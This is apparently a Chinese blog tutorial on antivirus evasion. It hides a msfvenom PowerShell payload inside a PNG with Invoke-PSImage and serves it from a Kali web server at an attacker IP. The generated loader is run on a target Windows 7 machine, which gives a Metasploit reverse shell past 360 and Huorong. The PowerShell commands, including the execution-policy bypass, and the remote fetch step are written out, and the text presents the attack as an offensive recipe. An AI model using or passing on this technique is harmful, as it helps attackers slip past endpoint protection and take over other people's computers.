powershell免杀学习:过360、火绒

首先先通过msfvenon生成一个ps1脚本

使用到的脚本项目地址:
https://github.com/peewpw/Invoke-PSImage

自己准备一张jpg图片

powershell默认是不允许加载外部脚本文件的，所以在打开powershell时需要用executionpolicy bypass参数来绕过策略的限制;然后import-module来导入invoke-psimage.ps1脚本; 利用工具通过powershell将生成的ps1脚本与test.jpg合成为shell.png; 原理是将脚本中的字节数据存储到图片中，而图片的每一个像素都会存一个字节，所以图片像素尽量大一点。

Powershell -ExecutionPolicy Bypass
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg -Out shell.png -Web 

将脚本生成的内容复制出来，然后将生成的shell.png放到自己的kali上，并开启web服务，保证能够访问到

将访问地址http://192.200.30.57:8000/shell.png替换到脚本生成的内容中去

接着在kali MSF开启监听

然后将这一段发给目标win7运行

运行powshell执行（同时开启360杀毒和火绒），照样可以获得shell，过程中没有报毒

火绒测试通过